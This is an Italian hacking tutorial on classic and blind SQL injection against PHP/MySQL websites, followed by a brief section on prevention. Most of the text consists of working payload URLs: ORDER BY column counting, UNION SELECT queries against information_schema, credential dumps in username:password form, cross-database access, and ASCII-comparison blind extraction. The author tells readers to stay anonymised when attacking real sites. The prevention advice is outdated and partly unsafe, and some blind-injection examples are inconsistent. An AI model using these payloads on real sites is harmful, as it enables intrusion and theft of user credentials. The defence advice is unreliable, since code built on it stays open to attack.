Le SQL Injection

Prefazione

Ecco la mia guida alle SQL injection - una delle poche (per ora) in italiano.
Qui vi verranno illustrate le tecniche di base per poter sferrare un attacco SQL injection ad un sito, sebbene esse siano solo un punto di partenza per approfondire questo campo che è immensamente vasto e pieno di sfaccettature.
Do per scontate le nozioni elementari sulla conoscenza dei database, del php e dell'interazione server-client.

Può anche essere vero che in rete ormai si trovano moltissime guide sulle SQL injection, ciò che si ripropone di fare questa guida è di evitare niubbate/lamerate; mi spiego meglio: è molto semplice per una persona seguire passo passo quello che spiego in questa guida. Quello che vorrei che il lettore facesse è di capire il motivo per il quale fa quella data cosa, quindi capendo il background di linguaggio SQL e di PHP che ci sta dietro.

Ricordo inoltre che NON sono in ALCUN modo responsabile di quello che farete con questa guida, il cui scopo è solo educativo. Siete voi pienamente responsabili di ciò che ne farete.

Detto questo, direi che possiamo cominciare :D

Cos'è un SQL injection

Prima di poter sfruttare un bug che permette l'iniezione di codice SQL arbitrario è meglio capire di cosa stiamo parlando.
Quando si richiama una pagina con una variabile GET, molto spesso viene interpretato un database interno per soddisfare la richiesta.

http://www.example.com/news.php?id=1

La pagina php spesso esegue un procedimento standard:

a) prende il contenuto della variabile GET e lo inserisce in una query di base
b) esegue la query
c) manda in output il risultato

Esempio:
Mettiamo che la query di base sia

' SELECT Notizia from notizie where id = ' . $id. ' order by desc '

e subito di seguito viene concatenato il contenuto della GET.
Se l'URL richiamante è *http://www.example.com/news.php?id=1* allora id è 1. Risultato:

SELECT Notizia from notizie where id = 1 order by desc

Ovvero: leggi il contenuto del campo Notizia dalla tabella notizie dove l'id è 1 e ordinalo in modo discendente.

Con un database come questo:

id	Notizia	Altro Campo	Altro campo 2	…
1	Lorem	…	…	…
2	Ipsum	…	…	…
3	…	…	…	…

e id = 1 allora la notizia sarà Lorem, se invece id=2 allora la notizia sarà Ipsum ecc.

Semplice, fino a qui, no?

Ma se "iniettassimo" del codice malevolo? Ovvero, se inserissimo subito dopo al valore 1 anche altro codice? In pratica, possiamo ottenere qualsiasi dato dal database, in quanto inseriamo del codice SQL arbitrario modificando sostanzialmente come meglio ci pare l'output.

Ed è esattamente questo quello che fa un SQL injection: inserire codice non autorizzato vicino ad una variabile GET in modo da "modellare" l'output in base alle nostre esigenze.

Come trovare il baco

Per poter "entrare" in un sito bisogna per prima cosa trovare il bug, ovvero quel particolare errore che il programmatore compie e che permette all'attaccante di ottenere dati anche riservati dal database del sito.

http://www.example.com/news.php?id=1

Per vedere se una variabile GET è buggata molto spesso è sufficiente inserire un semplice apostrofo:

http://www.example.com/news.php?id=1'

Il risultato della query sarà:

' SELECT Notizia from notizie where id = 1' order by desc '

L'apostrofo non è riconosciuto dal motore e genera un errore, che può essere:

a) Un chiaro errore del motore MySql con tanto di informazioni (caso più fortunato, se sbagliamo qualcosa nell'impostazione dell'SQL inj il motore MySql ci suggerisce dove abbiamo sbagliato)
b) La notizia Lorem non compare più, al cui posto c'è uno spazio bianco
c) un errore del motore PHP (Warning: ...)

Se è presente uno di questi casi allora nel 80% dei casi c'è la possibilità di sfruttare l'attacco.

Nel caso invece che con l'aggiunta di un apostrofo si ottenga:

a) un redirect a una pagina specifica (l'home di solito, o la pagina stessa senza alcun valore per id)
b) la notizia Lorem continua a comparire
c) un errore previsto (nell'esempio "404 risorsa non disponibile", "Impossibile trovare la notizia richiesta")

Allora nel 99% dei casi quella data variabile GET non è soggetta a bug.

Attenzione! Queste note sono solo indicative! Tenete gli occhi aperti per eventuali errori che qui non sono proposti.

Trovata una variabile che è buggata e quindi dentro la quale è possibile inserire del codice malevolo, possiamo procedere nel trovare il numero di colonne del database.

Dall'order by all'union select

Abbiamo il nostro

http://www.example.com/news.php?id=

e la nostra query

SELECT Notizia from notizie where id =

ora con questi due dati dobbiamo trovare il numero di tabelle che compongono il database, e per farlo dobbiamo utilizzare l'order by.

Inseriamo questo codice:

http://www.example.com/news.php?id=1 order by 1--

Analizziamone le parti:

order by ordinalo secondo la colonna numero
1 numero della colonna in base all'ordine in cui essa compare nella tabella
-- commento. Con questo comando si commenta tutto il codice che viene dopo l'inserimento dell'id nella query.

Perché commentare il codice con ' -- '?

SELECT Notizia from notizie where id = 1 order by 1 order by desc

genererebbe errore (il motore SQL direbbe "scusa, devo ordinare in modo discendente o secondo la prima colonna?"). Se si commenta il tutto allora ignora l'order by e il codice SQL fila senza problemi

SELECT Notizia from notizie where id = 1 order by 1-- order by desc

infatti order by desc è commentato, quindi ignorato, dal motore MySql.

Ora devo proseguire fino ad incontrare un errore.
Inserendo il codice order by 1-- dico alla query di ordinare tutto secondo la prima colonna. Se essa non esistesse allora il motore non saprebbe secondo cosa ordinare il risultato, quindi genererebbe errore.

a) *order by 1*-- colonna 1 esiste --> nessun errore
b) *order by 10*-- colonna 10 esiste --> di conseguenza TUTTE LE PRECENDENTI esistono --> nessun errore
c) *order by 11*-- colonna 11 NON esiste --> ERRORE!

La logica della tecnica dell'order by è di inserire sistematicamente il codice "order by *n*", aumentando *n* di volta, fino a trovare l'errore. *Quando trovo l'errore e il numero immediatamente precedente non l'ha generato, allora il numero di colonne è il numero dell'errore meno 1.*

Facciamo un altro esempio per capire meglio il concetto.

http://www.example.com/news.php?id=1 order by 1-- nessun errore
http://www.example.com/news.php?id=1 order by 10-- nessun errore
http://www.example.com/news.php?id=1 order by 15-- nessun errore
http://www.example.com/news.php?id=1 order by 17-- ERRORE!
http://www.example.com/news.php?id=1 order by 16-- nessun errore

order by 17 genera errore, mentre by 16 no. Questo vuol dire che il numero di colonne presenti nella tabella interrogata è 16.

Fatto questo si può procedere con l'union select.

Il comando union select

Ora dobbiamo "iniettare" del codice malevolo dentro la variabile GET in modo da ricavare dei dati, ovvero quelli che ci servono per entrare nel sito. La prima cosa da fare è preparare per bene la "struttura" che ci permetterà di entrare poi. Ovvero un union select funzionante. Farlo è davvero semplice ;)
Prendete il numero di colonne che avete scoperto, nell'esempio di prima 16. Ora dovete fare così:

http://www.example.com/news.php?id= -1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16--

a) - che sta prima dell'1 viene dato solo per permettere alla query di ritornare un insieme vuoto e non "sporcare il result" (il che non ne inficia la correttezza), ma varia da caso a caso, e prenderla come regola non ha senso. Farlo comunque non guasta e personalmente lo consiglio.
b) *union selec*t --> questo è il comando sql che serve per fare una select dentro un'altra select. Per precisare, SELECT è il comando SQL che serve per leggere un determinato campo e di ritornarne il valore. Quindi union select è proprio quello che ci serve. In metalinguaggio, LEGGI […] dalla tabella […] , e in contemporanea LEGGI […] da […]

c) *1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16* tutti i numeri, a partire dall'1, separati da una virgola, che arrivano al numero trovato in precedenza con l'order by.
d) -- commento
La query risultante sarà quindi:

> *SELECT Notizia from notizie where id = -1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16-- order by desc*

Il cui risultato porterà alcuni numeri, ovvero nella pagina compariranno dei numeri che non dovrebbero essere lì. Non fate caso ovviamente alle date o alle numerazioni di pagina, ma numeri che prima non c'erano (con Lorem) ma che ora ci sono e che non hanno senso posti lì dove sono.

Infatti quando prima la query leggeva dati dal DB e la pagina php li inseriva nell'html, ora la query legge solo numeri, i quali vengono inseriti nella pagina statica dal php come se fossero normali dati. Se ad esempio l'autore della notizia veniva letto dalla colonna 10, esso verrà ora rimpiazzato dal numero 10.

Facciamo un esempio di pagina con *http://www.example.com/news.php?id=1*:

> **TITOLO SITO**
>
> TITOLO NOTIZIA
> SOTTOTITOLO
>
> AUTORE
>
> TESTO

con *http://www.example.com/news.php?id= -1 union select ,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16--* ottengo probabilmente:

> **TITOLO SITO**
>
> 2
> 5
>
> 10
>
> 13

i 4 numeri nell'esempio sono i numeri "sfruttabili", che possiamo utilizzare per estrarre dati sensibili dal database.

Come potete vedere tra i vari numeri "sfruttabili" c'è il 10. Proviamo a sostituire a 10 (ma anche a qualsiasi altro numero che compare nella pagina) nell'union select il testo "version()"

> *http://www.example.com/news.php?id= -1 union select 1,2,3,4,5,6,7,8,9,version(),11,12,13,14,15,16--*

TITOLO SITO

2
5

MySql 5.0.20-Debian_0bpo1

13

Il risutato sarà quello che troverete al posto del 10, in questo caso la versione del motore MySql è > 5. Buono a sapersi perché verrà molto utile saperlo tra poco.

Metodo di estrazione dei dati con MySql >= 5

Sapendo che la versione del MySql è maggiore o uguale a 5, allora sappiamo che l'information_schema è utilizzabile. L'information_schema è una speciale tabella di sistema che contiene al suo interno i nomi delle varie tabelle/colonne dell'intero database. Una manna dal cielo per noi.

http://www.example.com/news.php?id= -1 union select 1,2,3,4,5,6,7,8,9,group_concat(table_name),11,12,13,14,15,16 from information_schema.tables where table_schema=database()--

Analizziamone le varie parti:

a) *group_concat()* questa funzione si occupa di concatenare gli elementi di un gruppo, nel nostro caso tutte le righe restituite dalla sub-query, in un'unica stringa. In questo modo ci evita noiosi comandi limit, molto simili agli order by per sequenzialità, che aumenterebbero le richieste al database, e il tempo richiesto alla SQL injection.
b) *table_name* tutti i nomi delle tabelle del database
c) *from information_schema* i nomi delle tabelle sono presi da questa tabella speciale.
d) *.tables* l'information_schema specifico delle tabelle
e) *where table_schema=database()* questo comando ci permette di eliminare dall'output tutti i nomi "standard" dei database MySql, come la definizione dei caratteri, della lingua ecc, come CHARACTER_SET, che a noi non interessano.

Il risultato (output) sarà una lunga lista di nomi, tutti quelli delle tabelle che compongono il database.

TITOLO SITO

2
5

notizie,utenti

13

Venuti a conoscenza dei nomi delle tabelle, dobbiamo capire quali sono le colonne delle quali ci interessa venire a conoscenza. Noi dobbiamo penetrare nel sistema, quindi sarà la tabella utenti a interessarci. Dobbiamo quindi sapere i nomi delle colonne che compongono la tabella utenti. Per farlo dobbiamo dare

http://www.example.com/news.php?id= -1 union select 1,2,3,4,5,6,7,8,9,group_concat(column_name),11,12,13,14,15,16 from information_schema.columns where table_name=0x7574656e7469--

a) *column_name* vogliamo i nomi delle colonne giusto?
b) *.columns* l'information_schema delle colonne
c*) where table_name=* dove il nome della tabella che ci interessa è
d) *0x* prefisso che introduce un codice esadecimale
e) *7574656e7469* corrispondente Hex della parola utenti (che è il nome della tabella interessata)

Per convertire una parola in Hex si può far uso di tool online. Consiglio *http://www.string-functions.com/string-hex.aspx* ma con una semplice ricerca online si possono trovarne facilmente altri servizi simili (query di ricerca in google: "convert string to hex")

Il risultato saranno le colonne che compongono la tabella interessata:

TITOLO SITO

2
5

username,password

13

Ora siamo pronti per "dumpare" tutti i dati di quella tabella!

Metodo di estrazione dei dati con MySql >= 4 ma < 5

Non avendo disponibile l'utilissimo information_schema con MySql 4, l'unica via che abbiamo per estrarre i dati è indovinare i nomi delle tabelle e delle colonne.

http://www.example.com/news.php?id= -1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 from user-- ERRORE (la tabella user non esiste)
http://www.example.com/news.php?id= -1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 from utente-- ERRORE (la tabella utente non esiste)
http://www.example.com/news.php?id= -1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 from admin-- ERRORE (la tabella admin non esiste)

http://www.example.com/news.php?id= -1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 from utenti-- ok (la tabella utenti esiste)

appena non otteniamo un errore, allora siamo sicuri che la tabella che non genera errore esiste. Ora dobbiamo indovinare anche le colonne di tale tabella.

Come? con lo stesso metodo :(

http://www.example.com/news.php?id= -1 union select 1,2,3,4,5,6,7,8,9,psw,11,12,13,14,15,16 from utenti-- ERRORE (la colonna psw non esiste)
http://www.example.com/news.php?id= -1 union select 1,2,3,4,5,6,7,8,9,pw,11,12,13,14,15,16 from utenti-- ERRORE (la colonna pw non esiste)
http://www.example.com/news.php?id= -1 union select 1,2,3,4,5,6,7,8,9,password,11,12,13,14,15,16 from utenti-- ok (la colonna password esiste)

Bisogna andare avanti con questo metodo (tirare ad indovinare, fondamentalmente; questo metodo è anche conosciuto come “guessing” infatti) fino a che non abbiamo le colonne/tabelle che ci interessano.

Dumpare i dati che ci interessano

http://www.example.com/news.php?id= -1 union select 1,2,3,4,5,6,7,8,9,group_concat(concat_ws(0x3a,username,password, 0x3c62723e),11,12,13,14,15,16 from utenti--

a) *group_concat()* anche in questo caso ci servono tutti le righe della tabella.
b) *cancat_ws()* funzione che "incatena" in un unica stringa tanti dati (nel nostro caso username, password e
) utilizzando il primo argomento come separatore per i successivi. Ovvero con concat_ws(‘.’, ‘a’ , ‘b’) il risultato sarà a.b
c) *0x3a* codice esadecimale per ":"
d) *username,password* campi che ci interessa ottenere
e) *‘
‘* codice esadecimale corrispondente a
, che, in html serve per andare a capo. Utile visivamente per riordinare i campi in una tabella proprio come se avessimo di fronte il database
f) *from utenti* tabella che contiene i campi che ci interessa ottenere.

Il risultato finale saranno i tanti agognati dati di accesso al sito!

TITOLO SITO

2
5

pippo:paperino
pluto:minni

13

Scoprire i nomi di tutti i database su cui poggia il sito e dumpare i loro dati

Un database può essere suddiviso in più parti, in modo da poter utilizzare un solo motore per più siti. Il sito A avrà la parte A del database, il sito B la parte B e così via.
Con servizi di hosting importanti come Altervista, Aruba, Netsons eccetera, la tecnica che vi illusterò ora non funziona, ma in server privati molto spesso la gestione interna del database è fatta male e succede a volte di aver accesso a database di altri siti!

L'unica difficoltà sta nel trovare il nome di tali databases, quindi il resto sarà solo che il discesa!

Per farlo dobbiamo dare:

> *http://www.example.com/news.php?id= -1 UNION SELECT 1,2,3,4,5,6,7,8,9,group_concat(schema_name),10,11,12,13,14,15,16 FROM information.schema.schemata--*

In pratica questo comando restituisce i nomi (separati da virgola) di tutti i databases ai quali il sito vulnerabile ha accesso.

Mettiamo che l'output sia il seguente:

> **TITOLO SITO**
>
> 2
> 5
>
> example_db,example_db
>
> 13

Ora, essendo il sito attaccato example.com, di sicuro example_db sarà il nome del database del sito in cui vi trovate (cosa verificabile dando il comando "*database()*" senza virgolette). Il secondo è il database di un altro sito, accessibile anche da example.com. Per trovare le tabelle dovete utilizzare il seguente comando, molto simile a quello visto prima

> *http://www.example.com/news.php?id= -1 union select 1,2,3,4,5,6,7,8,9,group_concat(table_name),11,12,13,14,15,16 from information_schema.tables where table_schema=example_db--*

a) example_db = nome del database del quale volete sapere i nomi delle tabelle.

Il risultato sarà uguale a quello visto in precedenza, con la sola differenza che l'output sarà un raggruppamento dei nomi di tutte le tabelle del database example_db.

Per ottenere il nome delle colonne di una data tabella dovete dare lo stesso comando illustrato nel capitolo "Metodo di estrazione dei dati con MySql >= 5" con la sola differenza che invece di convertire in esadecimale solo il nome della tabella, ad essa dovete anteporre anche il nome del database e un punto.

http://www.example.com/news.php?id= -1 union select 1,2,3,4,5,6,7,8,9,group_concat(column_name),11,12,13,14,15,16 from information_schema.columns where table_name=0x736974655f64622e7574656e7469--

a) 0x736974655f64622e7574656e7469 → l'equivalente esadecimale di example_db.utenti

Quindi nel caso la tabella sia users, dovete convertire example_db.users

Per estrarre i dati, poi, vi basta dare

*http://www.example.com/news.php?id= -1 union select 1,2,3,4,5,6,7,8,9,group_concat(concat_ws(0x3a,username,password,'
'),11,12,13,14,15,16 from example_db.utenti--*

Ovvero la stessa identica cosa dell'URL sopra illustrato, con la sola differenza che al nome della tabella è anteposto il nome del database interessato con l'aggiunta del punto.

Riassunto delle fasi

a) aggiungere il carattere ' ad una variabile GET per verificare se essa è buggata se si ottiene "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..." o qualcosa di simile allora la variabile è soggetta ad errore!

b) trovare il numero di colonne della tabella interpretata dalla query con un order by n. Aumentare n fino a trovare l'errore, il numero corretto sarà quello immediatamente precendente.

http://www.example.com/news.php?id=1 order by 1-- nessun errore
http://www.example.com/news.php?id=1 order by 10-- nessun errore
http://www.example.com/news.php?id=1 order by 15-- nessun errore
http://www.example.com/news.php?id=1 order by 17-- ERRORE!
http://www.example.com/news.php?id=1 order by 16-- nessun errore

Numero di colonne: 16.

c) impostare l'union select in base al numero appena trovato

http://www.example.com/news.php?id= -1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16--

d) verificare la versione MySql (nell'esempio 10 numero sfuttabile)

http://www.example.com/news.php?id= -1 union select 1,2,3,4,5,6,7,8,9,version(),11,12,13,14,15,16--

e) nel caso di MySql >=5 utilizza l'information_schema per trovare i nomi delle tabelle

http://www.example.com/news.php?id= -1 union select 1,2,3,4,5,6,7,8,9,group_concat(table_name),11,12,13,14,15,16 from information_schema.tables where table_schema=database()--

f) trovare i nomi delle colonne della tabella che ci interessa (nell'esempio utenti tabella interessata; 10 numero sfruttabile)

http://www.example.com/news.php?id= -1 union select 1,2,3,4,5,6,7,8,9,group_concat(column_name),11,12,13,14,15,16 from information_schema.columns where table_name=0x7574656e7469--

d) dumpare tutto (nell'esempio utenti tabella interessata; 10 numero sfruttabile; username e password colonne interessate)

*http://www.example.com/news.php?id= -1 union select 1,2,3,4,5,6,7,8,9,group_concat(concat_ws(0x3a,username,password,'
'),11,12,13,14,15,16 from utenti--*

Riassunto dei comandi

a) *order by* comando che ordina secondo un dato parametro (colonna, ascendente, discendente...) un range di dati
b) *union select* comando sql che serve per far girate una select dentro un'altra select
c) -- I commenti servono per commentare il codice che segue. Esempio, la mia sql è

*select * from pippo where id = 1 order by desc*

se io inietto il mio codice così

*select * form pippo where id = 1 order by 1 order by desc*

non otterrò mai il risultato che mi sono prefissato, ovvero un order by che worki. Devo quindi commentare tutto il codice che segue alla mia injection.
Quindi

*select * form pippo where id = 1 order by 1 -- order by* desc --> tutto questo è un commento

allora funziona
d) *group_concat()* funzione che si occupa di concatenare gli elementi di un gruppo, nel nostro caso tutte le righe restituite dalla sub-query, in un'unica stringa. In questo modo ci evita noiosi comandi limit, molto simili agli order by per sequenzialità, che aumenterebbero le richieste al database, e il tempo richiesto alla SQL injection.
e) *cancat_ws()* funzione che "incatena" in un unica stringa tanti dati, utilizzando il primo argomento come separatore per i successivi.

concat_ws('.', 'a' , 'b') risultato = a.b
concat_ws(0x3a, 'a' , 'b', 'c') risultato = a:b:c (0x3a = ':')

Note aggiuntive

a) Succede a volte che un semplice version() generi errore o non generi proprio nulla. Per risolvere molto spesso basta

convert(@@version using latin1)

oppure

unhex(hex(@@version))

b) Capita a volte che lo spazio non venga riconosciuto; bisogna quindi sostituirlo con /**/ o con +

http://www.example.com/news.php?id=1+order+by+1--

oppure

*http://www.example.com/news.php?id=1/**/order/**/by/**/1--*

c) così anche i commenti, che non sempre devono essere --, ma è possibile utilizzare anche /*

*http://www.example.com/news.php?id=1/**/order/**/by/**/1/**

Conclusione

Senza la dovuta pratica non imparerete mai un SQL injection veramente BENE; non c'è niente da fare. Dicendo questo non sto in ALCUN modo suggerendovi di dorkare per trovare siti vulnerabili. Il mio consiglio è quello di installarvi PHP e MySql in locale e, con una pagina buggata, esercitarvi.

Per chi non volesse stare a rigirarsi con questi procedimenti manuali esistono tool specifici come schemafuzz di darkc0de o il tool di kerici.net che permettono di dumpare velocemente i dati senza stare lì a interrogare il sito manualmente. Consiglio comunque sempre il manuale.

Se per ragioni che non voglio sapere voleste attaccare un sito vero e proprio, allora vi consiglio di farlo anonimizzati. E' vero che in fin dei conti sono solo richieste GET, ma è pur sempre un metodo per attaccare un sito. Un buon avvocato smonterebbe questa difesa in un batter d'occhio. Fatelo quindi a vostro rischio e pericolo.

Voglio ribadire infine che NON mi ritengo in alcun modo responsabile del modo in cui utilizzerete queste informazioni, il cui scopo è SOLAMENTE educativo. La responsabilità è solo vostra.

Blind SQL Injection

Prefazione

In questa seconda parte di questo paper vi verrà presentata la tecnica della Blind SQL Injection, leggermente più difficile di quella classica, ma decisamente più producente!
Essa infatti molto spesso riesce dove tutto quello spiegato prima fallisce.

Ricordo inoltre che NON sono in ALCUN modo responsabile di quello che farete con questa guida, il cui scopo è solo educativo. Siete voi pienamente responsabili di ciò che ne farete.

Detto questo, direi che possiamo cominciare con l'imparare pure questa! :D

In cosa consiste una Blind SQL injection

Una Blind Sql Injection, più nota come "blid" (cieco) è una tecnica di manipolazione di una query basata su condizioni. Tutto si basa su "è vero" o "è falso" e in base a ciò possiamo estrapolare tutti i dati che ci interessano.

http://www.example.com/news.php?id=1

questo è il nostro classico esempio. Per trovare la vulnerabilità bisogna agire così:

In ogni pagina ci sono molti elementi: foto, testi ecc. Ora bisogna stare bene attenti se qualcuno di essi scompare!

http://www.example.com/news.php?id=1 and 1=1

Sappiamo che è vero. Qui il risultato deve essere del tutto uguale alla richiesta normale (id=1)

http://www.example.com/news.php?id=1 and 1=2

Sappiamo di per certo che la condizione è falsa. Nel caso il risultato sia diverso dalla precedente, mancano foto, compaiono errori, scompaiono titoli, allora vuol dire che la variabile GET è vulnerabile.
Vediamo cosa succede nel codice.

Mettiamo che la query sia la solita

' SELECT Notizia from notizie where id = ' . $id. ' order by desc '

In tal caso, se $id ($id = $_GET['id']; ovviamente) corrisponde a '1 and 1=2' allora la query diventerà: leggi Notizia dalla tabella notizie dove l'id è uguale a 1 e ordinalo in modo discendente, ma solo se 1=2. Risultato: nessun output per quella data query.

Ora si potrebbe pensare: ok, ma a noi cosa serve? Beh, proprio qui sta la genialata di tale tecnica: utilizzare a nostro vantaggio le condizioni. Vediamo come!

Come ottenere alcune informazioni di base

Vediamo ora come ottenere il numero della versione del motore MySql!

Per farlo, in un blind attack, dobbiamo usare una funzione chiamata substring. In pratica diciamo alla query: Estrai le info che ti sto chiedendo SOLO SE la versione del motore MySql è uguale a 4. Logicamente, se le informazioni sono presenti nell'output, allora la versione MySql = 4, altrimenti con buona probabilità sarà 5 (anche se ricordate che esiste anche la 3!).

Tradotto in codice:

http://www.example.com/news.php?id=1 and substring(@@version,1,1)=4

http://www.example.com/news.php?id=1 and substring(@@version,1,1)=5

In questo modo abbiamo trovato la versione del motore MySql.

Ora dobbiamo verificare se la struttura subselect (una select dentro un'altra, concettualmente molto simile all'union select, ma comunque diversa) funziona. Per farlo dobbiamo molto semplicemente dare:

http://www.example.com/news.php?id=1 and (select 1)=1

La query diventa: leggi […] se, leggendo 1 il tuo risultato è 1. Lo so che è contorta ma è importate capire questo passaggio, che è fondamentale. Vediamo di chiarificarlo.

' SELECT Notizia from notizie where id = 1 and (select 1)=1 order by desc '

Leggi 1 e mettilo dentro una variabile temporanea (la chiameremo $temp per chiarezza). Ora, $temp = 1 poiché ti ho detto che devi leggere 1. Ora leggi ciò che sta nella colonna notizia della tabella notizie e ordinalo in modo discendente, MA SOLO se $temp = 1. E' uguale a 1? Sì. Quindi se la pagina si carica normalmente allora il subselect funziona e possiamo procedere.

Ora dobbiamo controllare se abbiamo la possibilità di accedere alla tabella di sistema mysql.users. Se ciò fosse possibile, allora poi, più tardi, possiamo mettere estrarre le passwords usando la funzione load_file() e OUTFILE. Per verificarlo dobbiamo dare:

http://www.example.com/news.php?id=1 and (select 1 from mysql.user limit 0,1)=1

Come trovare i nomi delle tabelle e delle colonne

Purtroppo questa parte assomiglierà terribilmente al capitolo "*Metodo di estrazione dei dati con MySql >= 4 ma < 5"* in quanto fondamentale bisogna indovinare i nomi delle tabelle e delle colonne.

http://www.example.com/news.php?id=1 and (select 1 from users limit 0,1)=1

Se la pagina si carica normalmente (come con 1=1) allora significa che la tabella users esiste. Nel caso non esistesse l'output sarebbe identico a 1=2.
Continuiamo così fino a trovare tutte le tabelle che ci interessano.
Mettiamo di aver trovato la tabella users esistente. Ora ciò che ci serve è conoscere le colonne ad essa associate. Per farlo dobbiamo di nuovo usare il comando substring e anche il comando concat.

http://www.example.com/news.php?id=1 and (select substring(concat(1,username),1,1) from users limit 0,1)=1

Se il risultato è TRUE significa che la tabella users possiede la colonna username. Se ciò non fosse così basta continuare a provare fino a trovare quella che ci interessa. Consiglio di utilizzare nomi stra-usati come password, pw, passwd, username, usrname ecc.

Ora che abbiamo trovato i nomi delle tabelle e delle colonne, dobbiamo estrarne i dati. Come fare? Leggendo il capitolo seguente ;)

Come estrarre i dati conoscendo il nome della tabella e della colonna che ci interessano

http://www.example.com/news.php?id=1 and ascii(substring((SELECT concat_ws(0x3a,username,password) from users limit 0,1),1,1))>97

Questa richiesta estrae il primo carattere della stringa creata dalla funzione concat_ws. Esso quindi sarà il primo carattere del primo utente (la forma dell'output infatti è username:password). La funzione ascii() la converte quindi in un codice ASCII, confrontabile con un numero e utilizzabile quindi con una blind. In linguaggio di altissimo livello, ciò che questa query fa è dire: se il codice ascii del primo carattere dell'output è maggiore di 97 (che corrisponde ad 'a') allora leggi […]. È necessario continuare così fino a che non si ottiene falso (come sopra, 1=2). Mettiamo che l'output sia vero. Incrementiamo il numero che avevamo posto:

http://www.example.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98

Vero, continuiamo incrementando ancora:

http://www.example.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

Vero, incrementiamo un'altra volta:

http://www.example.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>100

Falso! Quindi sappiamo che il primo carattere, in ascii, non è maggiore di 100 ma lo è di 99. Significa che è uguale a 100! Utilizzando un qualsiasi ASCII converter (come *http://www.easycalculation.com/asciicon.php*) o la funzione char($code), ne otteniamo che char(100) = 'd'. Quindi sappiamo che la prima lettera dell'output username:password è 'd'.
Ora invece controlliamo il secondo carattere:

http://www.example.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>97

Da notare come io abbia cambiato ,1,1 in ,2,1, che consente di ottenere il secondo carattere.

http://www.example.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

Vero, la pagina si caricare senza problemi.

http://www.example.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107

Falso, la pagina non si carica. Ciò significa che il codice ascii del secondo carattere dell'output è compreso tra 99 e 107.

http://www.example.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104

Vero, incrementiamo quindi:

http://www.example.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105

Falso! Il secondo carattere dell'output è quindi char(105) = '1'
Ora basta continuare di questo passo, fino a che >0, che significa che è stata raggiunta la fine del record.

Conclusione

Mi rendo PERFETTAMENTE conto del fatto che sia noiso e lungo, per questo esistono tools specifici come (sempre lui) schemafuzz di darkc0de che permettono di dumpare velocemente i dati senza stare lì a interrogare il sito manualmente. Consiglio comunque sempre il manuale.

Ripeto anche qui: se per ragioni che non voglio sapere voleste attaccare un sito vero e proprio, allora vi consiglio di farlo anonimizzati.

Voglio ribadire infine che NON mi ritengo in alcun modo responsabile del modo in cui utilizzerete queste informazioni, il cui scopo è SOLAMENTE educativo. La responsabilità è solo ed esclusivamente vostra.

Come prevenire una SQL injection

In questa ultima parte del paper vi spiegherò come prevenire e patchare un bug da SQL injection nel vostro sito. I requisiti minimi sono una discreta conoscenza del PHP e dell'SQL, ma se siete arrivati fino a qui e se avete un sito da patchare, PRESUMO abbiate già tali competenze.

Detto questo, direi che possiamo cominciare :D

I metodi sono svariati, in questo capitolo mi limiterò a citare quello che personalmente considero il migliore.

Esso consiste nell'utilizzare la funzione mysql_escape_string() oppure mysql_real_escape_string() sulle variabili passate alle interrogazioni SQL. Questa funzione aggiunge le sequenze di escape a stringa_senza_escape, in modo che sia sicuro usarla in mysql_query().

Tale funzione (come addslashes) non fa l'escape di tutti i caratteri potenzialmente pericolosi, quali " % ", usati nelle query con LIKE, " ; " e " , ". Per questi è necessario uno str_replace "manuale".

In pratica consiglio di includere all'inizio di ogni pagina, magari con una già precedentemente includa, questo codice

```
foreach ($_POST as $key => $value)
$$key = mysql_escape_string($value);
```

In tal modo tutte le variabili post e verrano pharsate durante l'avvio dello script.

Consiglio inoltre di forzare il tipo di dato che viene passato, ovvero se ci si aspetta un dato numerico (come sopra, id = 1, 1 è un numero) conviene, nell'atto del passaggio ad una interrogazione SQL, forzare il dato tramite int($dato_numerico).